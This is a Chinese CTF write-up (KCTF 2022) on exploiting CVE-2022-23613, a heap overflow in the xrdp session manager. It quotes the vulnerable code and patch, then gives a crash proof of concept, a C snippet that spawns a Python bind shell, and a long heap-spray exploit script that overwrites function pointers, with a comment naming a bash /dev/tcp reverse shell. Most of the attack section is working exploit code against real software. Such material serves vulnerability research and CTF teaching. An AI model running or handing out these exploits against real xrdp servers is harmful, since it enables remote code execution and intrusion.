-
-
[原创]【2022 KCTF 秋季赛】The_House_of_the_Dead——星盟安全团队
-
2022-11-4 00:01 5412
-
前言
在今年十月份,我写了一篇关于该漏洞的利用分析:
https://bbs.pediy.com/thread-274831.htm
我在文中对该漏洞的成因以及利用手段进行了较为详细的分析,最终得出的利用方式为:“通过建立大量连接进行堆喷,从而进行任意命令执行,从服务器中反弹一个shell出来进行连接。”
但是真的没有限制次数后也能稳定利用的方法吗?有,并且还不止一个,笔者在当时的文章写完后的第二天,躺在床上正好想起了这件事,并在接下来的一段时间里得到了在源程序不进行改变的情况下也能够稳定利用的方案。
两种方案都不需要更改源程序的允许连接数量 16
,甚至不需要这么大,两种方案都只需要大约 5-10
个连接就能够稳定利用,这取决于 EXP 的精细程度。
第一种方案仍然依赖于堆喷,但是它并不需要很多的连接,笔者经过测试发现,只需要两个连接,就能够创建超过 0x100000~0xff00000
大小的堆空间。
第二种方案完全不依赖堆喷,它能够稳定控制调用 execlp3
或 execvp
的参数,而不需要经过任何地址碰撞。
其实,当时发那篇文章时,并没有将本利用作为赛题提交给KCTF的打算。
但是现在一想,如果我当时没有发布那篇文章,这道题的攻克者是否就会更少一点呢......略有些遗憾,但其实能有师傅做出来的话也还是很令笔者高兴的,尤其是能看到师傅们的利用思路,不论是否与我的预期相符。秉承着 PWN FOR FUN 的原则,我仍然没有删除符号表,希望师傅们玩的开心。
回顾
首先回顾一下该漏洞的成因吧,该漏洞来自于 CVE-2022-23613 ,这是一个已公开的漏洞。
复现环境
1 2 3 4 | xrdp - sesman 0.9 . 18 The xrdp session manager Copyright (C) 2004 - 2020 Jay Sorg, Neutrino Labs, and all contributors. See https: / / github.com / neutrinolabs / xrdp for more information. |
漏洞成因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | static int sesman_data_in(struct trans * self ) { + #define HEADER_SIZE 8 int version; int size; if ( self - >extra_flags = = 0 ) { in_uint32_be( self - >in_s, version); in_uint32_be( self - >in_s, size); - if (size > self - >in_s - >size) + if (size < HEADER_SIZE || size > self - >in_s - >size) { - LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size" ); + LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d" , size); return 1 ; } self - >header_size = size; @@ - 302 , 11 + 303 , 12 @@ sesman_data_in(struct trans * self ) return 1 ; } / * reset for next message * / - self - >header_size = 8 ; + self - >header_size = HEADER_SIZE; self - >extra_flags = 0 ; init_stream( self - >in_s, 0 ); / * Reset input stream pointers * / } return 0 ; + #undef HEADER_SIZE } |
从已公开的 Patch 可以看出,它添加了一个对 size
变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | else / * connected server or client ( 2 or 3 ) * / { if ( self - >si ! = 0 && self - >si - >source[ self - >my_source] > MAX_SBYTES) { } else if ( self - >trans_can_recv( self , self - >sck, 0 )) { cur_source = XRDP_SOURCE_NONE; if ( self - >si ! = 0 ) { cur_source = self - >si - >cur_source; self - >si - >cur_source = self - >my_source; } read_so_far = ( int ) ( self - >in_s - >end - self - >in_s - >data); to_read = self - >header_size - read_so_far; if (to_read > 0 ) { read_bytes = self - >trans_recv( self , self - >in_s - >end, to_read); |
查找 self->header_size
的引用,可以发现该变量将与 self->trans_recv
的参数间接相关,而该函数类似于 read
的作用,将 self
相关的套接字中读取 to_read
个字符到 self->in_s->end
。
而该缓冲区来自于:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | struct trans * trans_create( int mode, int in_size, int out_size) { struct trans * self = (struct trans * ) NULL; self = (struct trans * ) g_malloc(sizeof(struct trans), 1 ); if ( self ! = NULL) { make_stream( self - >in_s); init_stream( self - >in_s, in_size); make_stream( self - >out_s); init_stream( self - >out_s, out_size); self - >mode = mode; self - >tls = 0 ; / * assign tcp calls by default * / self - >trans_recv = trans_tcp_recv; self - >trans_send = trans_tcp_send; self - >trans_can_recv = trans_tcp_can_recv; } return self ; } |
1 2 3 4 5 6 7 8 9 10 11 12 | #define init_stream(s, v) do \ { \ if ((v) > (s) - >size) \ { \ g_free((s) - >data); \ (s) - >data = (char * )g_malloc((v), 0 ); \ (s) - >size = (v); \ } \ (s) - >p = (s) - >data; \ (s) - >end = (s) - >data; \ (s) - >next_packet = 0 ; \ } while ( 0 ) |
可以看见,该缓冲区会通过 g_malloc
创建在堆上,那么只要 to_read
的值超出了堆的原始大小,就有可能造成堆溢出了:
1 | g_list_trans = trans_create(TRANS_MODE_TCP, 8192 , 8192 ); |
从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | int trans_check_wait_objs(struct trans * self ) { ...... if ( self - >type1 = = TRANS_TYPE_LISTENER) / * listening * / { ...... } else / * connected server or client ( 2 or 3 ) * / { if ( self - >si ! = 0 && self - >si - >source[ self - >my_source] > MAX_SBYTES) { } else if ( self - >trans_can_recv( self , self - >sck, 0 )) { cur_source = XRDP_SOURCE_NONE; if ( self - >si ! = 0 ) { cur_source = self - >si - >cur_source; self - >si - >cur_source = self - >my_source; } read_so_far = ( int ) ( self - >in_s - >end - self - >in_s - >data); to_read = self - >header_size - read_so_far; if (to_read > 0 ) { read_bytes = self - >trans_recv( self , self - >in_s - >end, to_read); ...... } ...... } return rv; } |
如果创建的类型不为 TRANS_TYPE_LISTENER
,那么该连接就会调用 self->trans_recv
将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size
可能是负数的情况,因此可以令 to_read
通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。
POC:
1 2 3 4 5 6 7 8 9 10 11 | import socket import struct if __name__ = = "__main__" : s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "127.0.0.1" , 3350 )) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize s.send(sdata) sdata = b 'a' * 0x10000 #padding s.send(sdata) |
漏洞利用
回顾一下刚刚的 trans_create
可以发现:
1 2 3 4 5 6 7 8 9 10 11 12 | struct trans * trans_create( int mode, int in_size, int out_size) { struct trans * self = (struct trans * ) NULL; self = (struct trans * ) g_malloc(sizeof(struct trans), 1 ); ...... self - >trans_recv = trans_tcp_recv; self - >trans_send = trans_tcp_send; self - >trans_can_recv = trans_tcp_can_recv; return self ; } |
struct trans self
结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv
偏移处的值为一个类似 system
的函数来进行任意命令执行。
通过 IDA 搜索可以找到如下两个函数:
1 2 | extern: 00000000004105D8 extrn g_execvp:near extern: 0000000000410658 extrn g_execlp3:near |
这两个命令分别是 execvp
和 execlp
的包装,函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | int g_execvp(const char * p1, char * args[]) { ...... args_len = 0 ; while (args[args_len] ! = NULL) { args_len + + ; } g_strnjoin(args_str, ARGS_STR_LEN, " " , (const char * * ) args, args_len); g_rm_temp_dir(); rv = execvp(p1, args); ...... } int g_execlp3(const char * a1, const char * a2, const char * a3) { ...... g_strnjoin(args_str, ARGS_STR_LEN, " " , args, 2 ); ...... g_rm_temp_dir(); rv = execlp(a1, a2, a3, (void * ) 0 ); ...... } |
因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:
1 2 3 4 5 6 7 | #include<stdlib.h> int main() { char ars2[] = "-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");" ; execlp( "python3" , "python3" ,ars2, 0 ); return 0 ; } |
这个格式就比较像 g_execlp3
的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。
在上一篇文章中,笔者最终得出了 "通过建立大量连接进行堆喷" 从而实现利用的结论。观察它的调用逻辑可以发现:
1 | self - >trans_recv( self , self - >in_s - >end, to_read); |
第一个参数 self
是一个稳定的指针,我们通过覆盖它,能够稳定的传递一个字符串指针;第二个参数为 self->in_s->end
,我们控制参数的主要难点就集中于它,因为如果我们需要传递字符串,那么需要构造一个双重指针,让 self->in_s
指向字符串地址的 end
偏移处,然后再在此处放置指向字符串的指针。
而最后一个参数 to_read
则似乎能够通过计算得出,但其实还是有一定难度的:
1 2 | read_so_far = ( int ) ( self - >in_s - >end - self - >in_s - >data); to_read = self - >header_size - read_so_far; |
self->header_size
可以由我们任意控制,但是 self->in_s->end
作为一个字符串指针,如果它传递给参数二的值是正确的,那么往往意味着它存在于堆内存中,而您也知道,堆内存是随机且未知的,我们无法精准控制 self->header_size
使它减去一个未知值后仍然生效,除非我们预先已经知道了自己想要得到的值。
因此它适用于堆喷,因为堆喷不需要知道地址是什么,我们只需要假设
to_read
和self->in_s->end
是正确的即可,而self->in_s->end
将会是一个已知值,因为我们假设self->in_s
命中了堆内存,那里将会被我们用地址铺满。
转折点与破局
注意到调用方式可以发现,如果通过覆盖 self
结构体,那么想要控制第二个参数就需要令 self->in_s
能够获取到一个指向字符串的指针,并且第三个参数也需要为一个堆地址:
1 2 3 4 5 6 | read_so_far = ( int ) ( self - >in_s - >end - self - >in_s - >data); to_read = self - >header_size - read_so_far; if (to_read > 0 ) { read_bytes = self - >trans_recv( self , self - >in_s - >end, to_read); |
但是如您所见,由于程序并没有直接与用户进行交互,我们所有的操作都是通过 socket
发送数据包完成,这显然封杀了我们泄露地址的可能性,因此堆地址必须要通过碰撞得出,这就需要我们建立很多的连接,通过每次建立连接时候调用的 trans_create
去申请大量的堆空间:
1 | g_list_trans = trans_create(TRANS_MODE_TCP, 8192 , 8192 ); |
静风点
不知道您注意到了没有,笔者在描述中是这么写的 :
通过每次建立连接时候调用的
trans_create
去申请大量的堆空间
但是我们在利用漏洞时却是通过覆盖 self->trans_recv
去调用 g_execlp3
的。
如果我们将这两个事实合起来看,自然就能够得出一种更加具有效率的申请堆内存的方案:覆盖 self->trans_recv
去调用 trans_create
不仅如此,我们观察这一整段代码:
1 2 3 4 5 6 | else if ( self - >trans_can_recv( self , self - >sck, 0 )) { ... if (to_read > 0 ) { read_bytes = self - >trans_recv( self , self - >in_s - >end, to_read); |
可以发现,self->trans_can_recv
也同样是一个指针,我们如果将它也覆盖为 trans_create
,就能够在一次连接中调用两次 trans_create
,并且参数还能够由我们控制为任意值。
或许 self->in_s->end
不能由我们控制,但是 to_read
和 self->sck
是能够被稳定控制的,malloc
的 mmap 阈值一般为 0x20000
字节,那么现在,一次连接就能够稳定创建 0x40000+0x2000*2
以上的字节数。粗算一下,十六个连接大约能够创建 0x3FC000
个字节的堆空间,这个大小绝对不小,用作堆喷肯定非常足够了。
结合笔者在 《CVE-2022-23613复现与漏洞利用可能性尝试》 一文中 对堆喷思路的优化 这一小节所注意到的堆喷优化方案,这似乎已经足够完成利用了。
但上述的空间大小还只是对堆空间大小的一种保守估计,实际上,由于 ptmalloc2 能够动态修改 MMAP_THRESHOLD
,实际上,每次建立连接所能申请的大小远远大于上文所述的数值,因此实际上成功率更高。
笔者在某次调试中,由于传参不规范,以至于给
trans_create
传递了过大的参数,最后发现堆空间申请到的大小甚至超出了0xff00000
第一法破局:堆喷
如前文所述,我们已然能够创建巨大的堆内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 | import socket import struct import time # bash -i >& /dev/tcp/0.0.0.0/9999 0>&1 def pack_addr2(): sdata = b "\xba\xc9\x40\x00\x00\x00\x00\x00" return sdata con_list = [ 0 ] * 300 for i in range ( 14 ): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(( "0.0.0.0" , 3350 )) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[i].send(sdata) sdata = pack_addr2() * 0x10 con_list[i].send(sdata) time.sleep( 0.05 ) con_list[ 14 ] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[ 14 ].connect(( "127.0.0.1" , 3350 )) con_list[ 15 ] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[ 15 ].connect(( "127.0.0.1" , 3350 )) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 15 ].send(sdata) sdata = b 'D' * 0x10 con_list[ 15 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 14 ].send(sdata) sdata = b 'C' * 0x4140 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x39\x40\x02\x00\x00\x00\x00\x00" + b "\x91\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 14 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = b "\x58\x01\xda\x00\x00\x00\x00\x00" #headersize con_list[ 15 ].send(sdata) ################ sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 13 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x98\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 13 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 14 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 12 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xe8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 12 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 13 ].send(sdata) ######## sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 11 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf0\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 11 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 12 ].send(sdata) ####### # use 10 to overflow 11 is failed ####### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 9 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 9 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 10 ].send(sdata) ####### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 8 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 8 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 9 ].send(sdata) ####### # use 7 to overflow 8 is failed ####### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 6 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 6 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 7 ].send(sdata) ###### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 5 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 5 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 6 ].send(sdata) ###### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 4 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 4 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 5 ].send(sdata) ###### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 3 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 3 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 4 ].send(sdata) ###### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 2 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 2 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 3 ].send(sdata) ###### sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 1 ].send(sdata) sdata = b 'C' * 0x21b8 + b "\xb1\x02\x00\x00\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\x01\x00\x00\x00" * 2 #bash+type+status sdata + = b "\x02\x00\x00\x00\x00\x00\x00\x00" + b "\xba\xc9\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" sdata + = b "\x00\x00\x00\x7f\x00\x00\x00\x00" + b "\x00\x00\x02\x00\x00\x00\x00\x00" + b "\xf8\x04\x41\x00\x00\x00\x00\x00" #ar_addr sdata + = b "\x00\x00\x00\x00\x00\x00\x00\x00" * 4 sdata + = b "\x00" * 0x220 + b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\xf0\x3a\x40\x00\x00\x00\x00\x00" sdata + = b "\x70\x3a\x40\x00\x00\x00\x00\x00" + b "\x00\x00\x00\x00\x00\x00\x00\x00" con_list[ 1 ].send(sdata) sdata = b'' sdata + = struct.pack( "I" , 0x2222CCCC ) #version sdata + = struct.pack( ">I" , 0x80000000 ) #headersize con_list[ 2 ].send(sdata) ###### print ( "Done!" ) |
上述脚本是笔者第一次发现该方法时所写的用于测试标准情况下能够获取到的最大堆内存:
